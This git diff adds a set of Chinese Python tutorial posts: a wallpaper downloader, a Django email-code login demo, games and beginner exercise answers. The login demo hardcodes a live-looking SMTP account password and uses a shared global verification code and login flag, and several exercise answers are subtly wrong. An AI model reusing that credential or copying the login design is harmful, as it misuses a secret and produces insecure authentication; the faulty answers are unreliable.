+运行后,鼠标开始无规律的抖动,点关闭程序的按钮都有点困难。主要就是随机数的知识。 + +这里用到了一个`eval`语句,帮助我们合成算式,再将鼠标移动到结果的位置。 + +您也可以自己设定抖动幅度。 diff --git "a/python\346\257\217\346\227\245\346\226\260\351\262\234\345\243\201\347\272\270.md" "b/python\346\257\217\346\227\245\346\226\260\351\262\234\345\243\201\347\272\270.md" new file mode 100644 index 0000000..2165686 --- /dev/null +++ "b/python\346\257\217\346\227\245\346\226\260\351\262\234\345\243\201\347\272\270.md" @@ -0,0 +1,82 @@ +做这件事,理论上要实现三个功能: +①下载图片 +②播放图片 +③更新图片 +这个恐怕以我的水平不能在一个程序里面实现,需要一些人工操作。 + +@[toc] + +# 第一步:下载图片 +这个要靠python啦,我又找了个可用的API。 + +```python +# Author:PanDaoxi +from os import remove,walk,mkdir +from os.path import exists,join +from random import randint +from requests import get + +url = 'https://api.ixiaowai.cn/gqapi/gqapi.php' +path = 'D:/每日壁纸/' # 保存路径 +imgs = 15 # 15张图片 +try: + if not exists(path): + mkdir(path) + print('CRE OKK') + else: + dl = [] + for root,dirs,files in walk(path,topdown=False): + for name in files: + dl.append(join(root, name)) + for name in dirs: + dl.append(join(root, name)) + print('DEL OKK') +except Exception as e: + print('DEL ERR',e) + +try: + print('DOW ING') + for i in range(0,imgs): + res = get(url) + with open(path + str(randint(100000,999999)) + '.jpg','wb') as f: + f.write(res.content) + print('DOW OKK') + for i in range(0,len(dl)): + remove(dl[i]) +except Exception as e: + print('DOW ERR',e) +``` +默认保存到`D:/每日壁纸`这个文件夹中,可以修改`path`的保存地址,每次运行先判断如果有这个文件夹那么就记录下里面的东西,然后下载图片,最后删除旧的内容。 + +如果有需要更多壁纸,可以修改`imgs`变量。默认为15。 +注意:做接下来的步骤前,请先运行一遍程序; +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c44e7e1188614fcfbd51567e000ec489.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +# 第二步:设置自启动 +这个么,每日新鲜壁纸,放到电脑打开的时候,就运行一次,得到15张新的壁纸。 +我觉得最简单快捷的办法就是把它放到自启动目录里面,为了这个程序似乎没必要去弄注册表。 + +> 使用快捷键win+r打开运行,输入shell:startup。 +> 进入了一个文件夹,这就是快速自启动目录(也可以使用路径`%APPDATA%\Microsoft\Windows\Start +> Menu\Programs\Startup`进入),放在这里面的东西开机时都会自动运行。 + +准备好刚才写好的python文件的路径。 +在文件夹里创建一个文件,命名为`随便想一个名字.bat`,右键编辑,输入命令: + +```python +@echo off +start /min python "路径" +``` +最小化打开程序。 + +# 第三步:设置幻灯片壁纸 +以Windows10为例,Win+i打开设置,个性化。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8ca68104667049a1b3f81d036628044b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +在这里,选择“幻灯片放映”; +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/631e9d72b6aa4533be4c96283185171f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +浏览,选择`D:\每日图片`; +图片切换频率设置为1分钟。 + +# 注意事项 +**注意:个别图片可能发生错误,您可以忽略它。因为系统不会播放它。这个错误是新浪图片的bug。** diff --git "a/python\347\275\221\351\241\265\347\231\273\345\275\225\346\250\241\346\235\277.md" "b/python\347\275\221\351\241\265\347\231\273\345\275\225\346\250\241\346\235\277.md" new file mode 100644 index 0000000..42af9ad --- /dev/null +++ "b/python\347\275\221\351\241\265\347\231\273\345\275\225\346\250\241\346\235\277.md" @@ -0,0 +1,179 @@ +@[TOC] +
+ +# 前言 +好家伙,这个程序我做了整整一中午!看我搞得我的QQ邮箱,乌烟瘴气,全是测试用的邮件…… +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0599e776d23341e7b2cd83b572d882d2.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +直到看到成功了,我才高兴地蹦了起来,然后发了这篇博客。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/36ff7c46025d440ba50bbebec68aa0a3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +这个程序使用`django`制作,具体结构如下: + +```python +D:. +│ putMessage.py +│ +└─template + │ db.sqlite3 + │ manage.py + │ users + │ + └─template + │ asgi.py + │ settings.py + │ urls.py + │ wsgi.py + │ __init__.py + │ + └─__pycache__ + settings.cpython-36.pyc + urls.cpython-36.pyc + wsgi.cpython-36.pyc + __init__.cpython-36.pyc +``` +话不多说,看下有修改的地方。 + + +# 程序 + +> 运行前,请安装`django`、`pywebio`、`requests`模块。 + +**(产品名称可以一键修改)** +## `django`配置 +最原始的配置,直接`django-admin startproject template`。修改一下以下程序: +## `settings.py` +程序需要修改`FOLLOW_HOSTS`,添加元素`*`。 +## `urls.py` +服务器的主要部分。 + +```python +from django.shortcuts import HttpResponse +from django.urls import path +from random import randint +from json import dumps +import smtplib +from email.mime.text import MIMEText +from email.utils import formataddr + +isLogin = False # 已登录开关 +product = 'xxx' # 产品名称一键修改 +passwordNew = 0 # 验证码 + +def main(request): # 主页面(没啥用,随便写) + return HttpResponse('

欢迎使用%s!

' % product) + +def VC(request): # 发送邮箱验证码 + global passwordNew + email = request.GET['m'] + sender = "qingfengstudio@yeah.net" # 私人邮件配置,请勿商用 + password = "GMDCFHTPQHBEZFCH" # 私人邮件密码,请勿商用 + v = randint(100000,999999) # 验证码 + # 邮件内容 + mailContent = '''%s产品的用户: +您的登录验证码为%d,打死也不要告诉别人哦!''' % (product,v) + ret = True + passwordNew = v + try: + msg = MIMEText(mailContent, "plain", "utf-8") + msg["From"] = formataddr(["老潘的消息", sender]) + msg["To"] = formataddr(["FK", email]) + msg["Subject"] = "%s软件登录验证" % product + + server = smtplib.SMTP_SSL("smtp.yeah.net", 465) + server.login(sender, password) + server.sendmail(sender,[email,],msg.as_string(),) + server.quit() + except Exception as e: + ret = False + err = str(e) + print('遇到错误:%s' % err) + return HttpResponse(dumps({'state':str(ret)})) + +def login(request): + # 定义全局变量:登录开关 + global isLogin + # 获取已有的用户名、密码 + with open('users','r',encoding = 'utf-8') as f: + a = f.read() + b,c,temp = [],[],[] + b = a.splitlines() + + #============================================================================= + # 这后面的东西,是以前根据用户名密码来设置的,这里不用c + # for i in range(0,len(b)): + # temp = b[i].split(':') + # c.append({'username':temp[0],'password':temp[1]}) + #============================================================================= + + # 判断用户端发送的get请求发送的用户名密码是否匹配,因为无重要隐私信息使用get请求 + wantU = request.GET['u'] + wantP = request.GET['p'] + loginer = False + verificationCode = str(passwordNew) + print(verificationCode) + if wantP == verificationCode: + if wantU in b: + loginer = True + isLogin = loginer + # 返回验证结果 + if loginer == True: + return HttpResponse(dumps({'state':'Okay','text':'You have successfully logged in, welcome!'})) + else: + return HttpResponse(dumps({'state':'Error','text':'Failed to log in successfully. The possible reasons are: (1) the user is not registered; (2) Wrong user name or password.'})) + +def loginOkay(request): + if isLogin == True: + return HttpResponse('

您好,用户!

') + else: + return HttpResponse('

请先登录!

') + +urlpatterns = [ + path('',main), + path('login/',login), + path('vc/',VC), + path('okay/',loginOkay), +] + +``` + +## 客户端程序`putMessage.py` + +```python +from requests import get +from pywebio.input import * +from pywebio.output import * +import webbrowser + +product = 'xxx' # 产品名称 +serverIP = 'http://127.0.0.1:8000/' # 默认IP +put_markdown('**您好,欢迎使用%s**!' % product) +email = input('输入您的邮箱') + +r1 = get(serverIP + 'vc/',params = {'m':email,}).json() +if r1['state'] == 'True': + ps = input('输入您的验证码') + r2 = get(serverIP + 'login/',params = {'u':email,'p':ps}).json() + if r2['state'] == 'Okay': + put_markdown('message from SERVER:%s' % r2['text']) + webbrowser.open_new_tab(serverIP + 'okay/') + else: + put_markdown('您的登录出现错误,如下:\n%s' % r2['text']) +else: + put_markdown('验证码发送失败!') +``` + +# 运行效果展示 +先运行服务器,`python manage.py runserver`. +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6fca2e6172e54efba87b54e8ae5393c3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +运行客户端。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9b981c40ea2545eaa22667047584b1c3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +输入邮箱点击提交,两三秒后提示输入验证码,与此同时在邮箱里收到验证码,在网页上输入。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8be3bb0d268740ae81164683835b1911.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +(模仿百度) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4b7574162b4248d39b09b121a022e86e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e379ae51551e4e559c557dd17eb0f7d3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0c45e5f0766346d198dd8131a4041d6f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +我提供了很多地方可以供自定义,大家需要,尽管拿去使用,别忘了修改邮箱的密码,请勿商用(这是我自己的小号)。 + +## 下载 +[需要下载请看我的资源。](https://download.csdn.net/download/PanDaoxi2020/79571453) diff --git "a/\342\200\234\346\225\260\345\255\227\346\270\270\346\210\217\342\200\235\350\207\264\350\203\234\347\202\271\347\224\237\346\210\220\345\231\250.md" "b/\342\200\234\346\225\260\345\255\227\346\270\270\346\210\217\342\200\235\350\207\264\350\203\234\347\202\271\347\224\237\346\210\220\345\231\250.md" new file mode 100644 index 0000000..e90847b --- /dev/null +++ "b/\342\200\234\346\225\260\345\255\227\346\270\270\346\210\217\342\200\235\350\207\264\350\203\234\347\202\271\347\224\237\346\210\220\345\231\250.md" @@ -0,0 +1,55 @@ +```python +from easygui import buttonbox,msgbox,multenterbox,textbox + +title = '数字游戏' +choose = ['查看游戏规则','获取游戏致胜点','查看帮助信息'] +rules = '游戏规则如下:\n\t此游戏是双人游戏,双方需要约定从1数到几,每次最多数多少(可以是从1到这个数,但不能不数),最后数到这个数减一的人为胜。\n\t此程序可以为你提供此游戏的致胜点,如果你一直数到致胜点,会走向胜利。\n\t致胜点在一个范围内有很多,如果你能记住,那么就可以获胜了。' +helps = '帮助信息如下:\n\t开发者:潘道熹\n\t开发时间:2021年1月\n\t开发者邮箱:advance_software@qq.com\n\n此程序可以求出“数字游戏”的致胜点,只要你使用此程序求出关键点并一直使用这些制胜数字,那么你离胜利就不远了。' + +def get_point(): + try: + text = multenterbox('请您提供以下信息:',title,['从1开始数到多少:','每次最多数多少:']) + data = [] + + for i in text: + data.append(int(i)) + + x = data[0] - 1 + y = data[1] + data = [] + points = x - 1 - y + + while x > 1: + if points >= 1: + points = x - (y + 1) + x -= (y + 1) + data.append(str(points)) + for i in data: + if '-' in i or i == '0': + data.remove(i) + + data.insert(0,str(int(text[0]) - 1)) + z = '\t'.join(data) + content = '您的致胜点生成结果如下:\n\n%s' % z + + if len(data) <= 0: + msgbox('您的输入有误!\n程序无法输出!',title) + else: + textbox('恭喜,你的致胜点生成成功!',title,text = content) + + except Exception as e: + msgbox('遇到错误:%s' % e,title) + +while True: + choice = buttonbox('欢迎使用此程序!\n请选择一个选项:',title,choose) + if choice == choose[0]: + textbox('下面是“数字游戏”的规则:',title,text = rules) + elif choice == choose[2]: + textbox('下面是有关程序与开发者的信息:',title,text = helps) + elif choice == choose[1]: + get_point() + else: + exit() + +``` + diff --git "a/\343\200\212\344\270\200\343\200\201\345\217\230\351\207\217\345\217\212\346\240\207\345\207\206\350\276\223\345\207\272\350\276\223\345\205\245\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\270\200\343\200\201\345\217\230\351\207\217\345\217\212\346\240\207\345\207\206\350\276\223\345\207\272\350\276\223\345\205\245\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..0002a90 --- /dev/null +++ "b/\343\200\212\344\270\200\343\200\201\345\217\230\351\207\217\345\217\212\346\240\207\345\207\206\350\276\223\345\207\272\350\276\223\345\205\245\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,22 @@ +**练习题** + +``` +1.在 Console 上让用户输入名字,输入完以后,空行输出 “您的名字是: XXX”的字样。 +2.在 Console 上输出内容:“1234567890abcdefghijklmnopqrstuvwxyz”(可以直接复制这儿的,要以最简短的代码实现)。 +3.在 Console 上让用户输入一句话,输出到控制台(要以最简短的代码实现,输出格式:“请您输入一句话:XXX”)。 +``` + +**参考答案** + +```python +#第一题 +name = input('请输入您的名字:') +print('\n您的名字是:',name) + +#第二题 +print('1234567890abcdefghijklmnopqrstuvwxyz') + +#第三题 +print(input('请您输入一句话:')) +``` + diff --git "a/\343\200\212\344\270\203\343\200\201\345\207\275\346\225\260\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\270\203\343\200\201\345\207\275\346\225\260\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..e81867c --- /dev/null +++ "b/\343\200\212\344\270\203\343\200\201\345\207\275\346\225\260\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,15 @@ +```python +练习题 +请使用函数输出1~100内所有数字相乘的积。 +``` + +```python +def amass(): + a = 1 + for i in range(1,101): + a *= i + return a + +print(amass()) +``` + diff --git "a/\343\200\212\344\270\211\343\200\201\346\226\207\345\255\227\346\241\206\345\217\212\347\256\200\345\215\225GUI\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\270\211\343\200\201\346\226\207\345\255\227\346\241\206\345\217\212\347\256\200\345\215\225GUI\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..90e9408 --- /dev/null +++ "b/\343\200\212\344\270\211\343\200\201\346\226\207\345\255\227\346\241\206\345\217\212\347\256\200\345\215\225GUI\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,23 @@ +```python +1.通过easygui显示窗口,内容为“你好,世界!”,标题:“程序”。 +2.通过tkinter.messagebox.showinfo()显示窗口,内容为“Hello,world!”,标题:“Program”。 +``` + +第1题: + +```python +from easygui import msgbox +msgbox('你好,世界!','程序') +``` + +第2题: + +```python +from tkinter.messagebox import showinfo + +window = Tk() +window.withdraw() +showinfo('Program','Hello,world!') +window.mainloop() +``` + diff --git "a/\343\200\212\344\271\235\343\200\201\351\224\231\350\257\257\344\270\216\345\274\202\345\270\270\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\271\235\343\200\201\351\224\231\350\257\257\344\270\216\345\274\202\345\270\270\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..c6264a1 --- /dev/null +++ "b/\343\200\212\344\271\235\343\200\201\351\224\231\350\257\257\344\270\216\345\274\202\345\270\270\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,15 @@ +```python +练习题 +请自定义一个名为ZiDingYiError的异常,抛出它时输出'自定义异常',并将它抛出。 +``` + +```python +class ZiDingYiError(BaseException): + def __init__(self): + pass + def __str__(self): + return '自定义异常' + +raise ZiDingYiError() +``` + diff --git "a/\343\200\212\344\272\214\343\200\201\345\210\227\350\241\250\347\232\204\346\223\215\344\275\234\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\272\214\343\200\201\345\210\227\350\241\250\347\232\204\346\223\215\344\275\234\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..319d804 --- /dev/null +++ "b/\343\200\212\344\272\214\343\200\201\345\210\227\350\241\250\347\232\204\346\223\215\344\275\234\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,28 @@ +```python +1.创建列表x,添加元素"Hello World!"和"你好,世界!",在Console中输出它们。 +2.已知列表y=[0,1,2,3,4,5,6,7,8,9,10],请使用remove()函数删除元素10,把最后结果输出到Console。 +3.创建列表z,请用户输入内容,把用户输入的信息添加到列表中,最后输出到Console。 +``` +第1题: + +```python +x = [] +x.append('Hello World!') +x.append('你好,世界!') +print(x) +``` +第2题: + +```python +y = [0,1,2,3,4,5,6,7,8,9,10] +y.remove(10) +print(y) +``` +第3题: + +```python +z = [] +z.append(input('请输入内容:')) +print(z) +``` + diff --git "a/\343\200\212\344\272\214\345\215\201\343\200\201\350\256\251\345\214\273\347\224\237\345\233\276\347\211\207\350\267\237\351\232\217\351\274\240\346\240\207\347\247\273\345\212\250\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\272\214\345\215\201\343\200\201\350\256\251\345\214\273\347\224\237\345\233\276\347\211\207\350\267\237\351\232\217\351\274\240\346\240\207\347\247\273\345\212\250\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..d5902ca --- /dev/null +++ "b/\343\200\212\344\272\214\345\215\201\343\200\201\350\256\251\345\214\273\347\224\237\345\233\276\347\211\207\350\267\237\351\232\217\351\274\240\346\240\207\347\247\273\345\212\250\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,132 @@ +```python +练习题 +如果病毒与医生发生碰撞,那么输出当前生命值。 +``` + +```python +import pygame +from random import randint,choice +from time import sleep,time +from os import system,remove +from os.path import exists +from pygame.locals import * + +pygame.init() +canvas = pygame.display.set_mode((980,700)) +canvas.fill((255,255,255)) +pygame.display.set_caption('抗击病毒') + +bg = pygame.image.load('images/hospital.jpg') +doctor = pygame.image.load('images/doctor.png') +virus1 = pygame.image.load('images/virus.png') +virus2 = pygame.image.load('images/virus.jpg') +virus3 = pygame.image.load('images/virus.jpeg') +boss1 = pygame.image.load('images/boss1.png') +boss2 = pygame.image.load('images/boss2.png') +lose = pygame.image.load('images/lose.jpg') +bullet = pygame.image.load('images/bullet.png') +win = pygame.image.load('images/win.jpg') +bag1 = pygame.image.load('images/bag.png') + +def isActionTime(lastTime,interval): + if lastTime == 0: + return True + currentTime = time() + return currentTime - lastTime >= interval + +def conPaint(): + canvas.blit(bg,(0,0)) + Game.doctor.paint() + for virus in Game.virus: + virus.paint() + +def event(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + if event.type == MOUSEMOTION: + mouseX = event.pos[0] + mouseY = event.pos[1] + Game.doctor.y = mouseY - Game.doctor.height / 2 + Game.doctor.x = mouseX - Game.doctor.width / 2 + +def checkHit(): + for virus in Game.virus: + if Game.doctor.hit(virus): + Game.doctor.life -= 1 + Game.virus.remove(virus) + print(Game.doctor.life) + +def conEnter(): + if not isActionTime(Game.lastTime,Game.interval): + return + Game.lastTime = time() + Game.virus.append(Virus()) + +def conStep(): + for virus in Game.virus: + virus.step() + +def control(): + conPaint() + event() + conEnter() + conStep() + checkHit() + Game.doctor.outOfBounds() + pygame.display.update() + +class Virus(): + def __init__(self): + self.width = 33 #图片的宽 + self.height = 33 #图片的高 + self.img = choice(Game.virus_imgs) #随机使用病毒的图片 + self.x = 1000 - self.width #X坐标 + self.y = randint(0,700 - self.height) #随机的Y坐标 + self.speed = randint(1,10) #向左飞行的速度 + def paint(self): #绘制 + canvas.blit(self.img,(self.x,self.y)) + def step(self): #移动 + self.x -= self.speed + +class Doctor(): + def __init__(self,x,y): + self.width = 106 + self.height = 100 + self.img = doctor + self.x = x + self.y = y + self.life = 8 + self.shoot_interval = 0.5 + self.shoot_lastTime = time() + def paint(self): + canvas.blit(self.img,(self.x,self.y)) + def hit(self,c): + return c.x > self.x - self.width and c.x < self.x + self.width and c.y > self.y - self.height and c.y < self.y + self.height + def outOfBounds(self): + if self.y > 700 - self.height: + self.y = 700 - self.height + if self.y <= 0: + self.y = 0 + if self.x < 0: + self.x = 0 + if self.x > 1000 - self.width: + self.x = 1000 - self.width + def shoot(self): + if not isActionTime(self.shoot_lastTime,self.shoot_interval): + return + self.shoot_lastTime = time() + Game.bullets.append(Bullets(self.x + self.width / 2,self.y + self.height / 2)) + +class Game(): + virus_imgs = [virus1,virus2,virus3] + virus = [] + lastTime = time() + interval = 1 + doctor = Doctor(0,700 - 100) + +while True: + control() +``` + diff --git "a/\343\200\212\344\272\224\343\200\201\345\276\252\347\216\257\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\344\272\224\343\200\201\345\276\252\347\216\257\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..07aabd0 --- /dev/null +++ "b/\343\200\212\344\272\224\343\200\201\345\276\252\347\216\257\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,23 @@ +```python +请求出1~100之间所有的数字之和,随意一种循环都可以。 +``` + +```python +#for循环版 +record = 0 +for i in range(1,101): + record += i +print(record) + +#while循环版 +record = 0 +number_sum = 0 +while record <= 100: + number_sum += record + record += 1 +print(number_sum) + +#sum函数版(附加) +print(sum(range(1,101))) +``` + diff --git "a/\343\200\212\345\205\253\343\200\201\346\250\241\345\235\227\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\205\253\343\200\201\346\250\241\345\235\227\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..cecc632 --- /dev/null +++ "b/\343\200\212\345\205\253\343\200\201\346\250\241\345\235\227\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,11 @@ +```python +练习题 +把我们后期课程需要用的模块都使用pip安装。 +``` + +```python +pip install -i https://pypi.tuna.tsinghua.edu.cn/simple requests +pip install -i https://pypi.tuna.tsinghua.edu.cn/simple easygui +pip install -i https://pypi.tuna.tsinghua.edu.cn/simple cv2 +``` + diff --git "a/\343\200\212\345\205\255\343\200\201\345\205\203\347\273\204\344\270\216\345\255\227\345\205\270\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\205\255\343\200\201\345\205\203\347\273\204\344\270\216\345\255\227\345\205\270\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..f3b954e --- /dev/null +++ "b/\343\200\212\345\205\255\343\200\201\345\205\203\347\273\204\344\270\216\345\255\227\345\205\270\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,26 @@ +```python +练习题: +请使用字典和for循环,做一个输出所有学生姓名的程序,字典如下: +school = { + '五年级(1)班' : ('小赵','小钱','小孙','小李'), + '五年级(2)班' : ('小周','小吴','小郑','小王'), + '五年级(3)班' : ('小冯','小陈','小褚','小卫'), + '五年级(4)班' : ('小蒋','小沈','小韩','小杨') + } +``` + +```python +#设置字典 +school = { + '五年级(1)班' : ('小赵','小钱','小孙','小李'), + '五年级(2)班' : ('小周','小吴','小郑','小王'), + '五年级(3)班' : ('小冯','小陈','小褚','小卫'), + '五年级(4)班' : ('小蒋','小沈','小韩','小杨') + } + +#循环 +for i in range(1,5): + for student in school['五年级(' + str(i) + ')班']: + print(student) +``` + diff --git "a/\343\200\212\345\215\201\343\200\201\346\226\207\344\273\266\347\232\204\346\223\215\344\275\234\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\343\200\201\346\226\207\344\273\266\347\232\204\346\223\215\344\275\234\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..7018b70 --- /dev/null +++ "b/\343\200\212\345\215\201\343\200\201\346\226\207\344\273\266\347\232\204\346\223\215\344\275\234\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,13 @@ +```python +练习题 +判断C:/Windows/explorer.exe是否存在,如果存在输出“存在”;不存在输出“不存在”。 +``` + +```python +from os.path import exists +if exists('C:/Windows/explorer.exe'): + print('存在') +else: + print('不存在') +``` + diff --git "a/\343\200\212\345\215\201\344\270\200\343\200\201\350\216\267\345\217\226\346\227\266\351\227\264\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\344\270\200\343\200\201\350\216\267\345\217\226\346\227\266\351\227\264\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..b159e72 --- /dev/null +++ "b/\343\200\212\345\215\201\344\270\200\343\200\201\350\216\267\345\217\226\346\227\266\351\227\264\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,22 @@ +```python +练习题 +1.做一个定时炸弹,在5秒后,输出“BOOM!” +2.死循环输出当前时间,每隔一秒输出一次。 +``` + +```python +from time import sleep,strftime + +#第一题 +for i in range(1,6): + sleep(1) +else: + print('BOOM!') + +#第二题 +while 1: + print(strftime('%H:%M:%S')) + sleep(1) +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210125113542677.png) + diff --git "a/\343\200\212\345\215\201\344\270\203\343\200\201PyGame\344\272\213\344\273\266\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\344\270\203\343\200\201PyGame\344\272\213\344\273\266\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..25dddc1 --- /dev/null +++ "b/\343\200\212\345\215\201\344\270\203\343\200\201PyGame\344\272\213\344\273\266\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,47 @@ +```python +练习题 +使用同样的方法,将 page2.py 中也添加上点击按钮进入到 game.py 文件。 +注:按钮区域坐标不变。 +``` + +```python +#导入包 +import pygame +from pygame.locals import * +from sys import exit +from os import system,remove +from os.path import exists + +#创建一个窗口 +pygame.init() #初始化窗口 +canvas = pygame.display.set_mode((1000,600)) #新建一个长1000像素,宽600像素的窗口 +canvas.fill((255,255,255)) #填充白色,中间是RGB值 +pygame.display.set_caption('抗击病毒') #窗口标题 + +#导入图片 +image2 = pygame.image.load('./images/start page/bg2.jpg') + +#处理事件函数 +def event(): + for event in pygame.event.get(): #遍历窗口的事件 + if event.type == QUIT: #如果是退出事件 + pygame.quit() #关闭窗口 + exit() #退出程序 + if event.type == MOUSEBUTTONDOWN: #如果是鼠标按下事件 + if event.button == 1: #如果是左键 + pos = event.pos #获取鼠标的位置 + mouseX = pos[0] # X坐标 + mouseY = pos[1] # Y坐标 + if 650 <= mouseX <= 990 and 510 <= mouseY <= 585: #如果点击区域是按钮 + pygame.quit() #关闭当前PyGame窗口 + with open('START.txt','w+') as f: #生成一个空白文件 START.txt + f.write('') #内容为空 + system('python "game.py"') #打开 page2.py 文件 + +#设定循环 +while True: + canvas.blit(image2,(0,0)) + event() + pygame.display.update() #更新窗口 +``` + diff --git "a/\343\200\212\345\215\201\344\270\211\343\200\201\347\261\273\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\344\270\211\343\200\201\347\261\273\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..f7d9de0 --- /dev/null +++ "b/\343\200\212\345\215\201\344\270\211\343\200\201\347\261\273\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,31 @@ +```python +练习题 +创建一个计算类,里面有四个方法,分别是jia、jian、cheng、chu。使用上*arg,对传入的数字进行相应的计算。 +``` + +```python +class Calc(): + def __init__(self): + pass + def jia(self,*arg): + x = 0 + for i in arg: + x += i + return x + def jian(self,*arg): + x = arg[0] + for i in arg: + x -= i + return x + arg[0] + def cheng(self,*arg): + x = 1 + for i in arg: + x *= i + return x + def chu(self,*arg): + x = arg[0] + for i in arg: + x /= i + return x * arg[0] +``` + diff --git 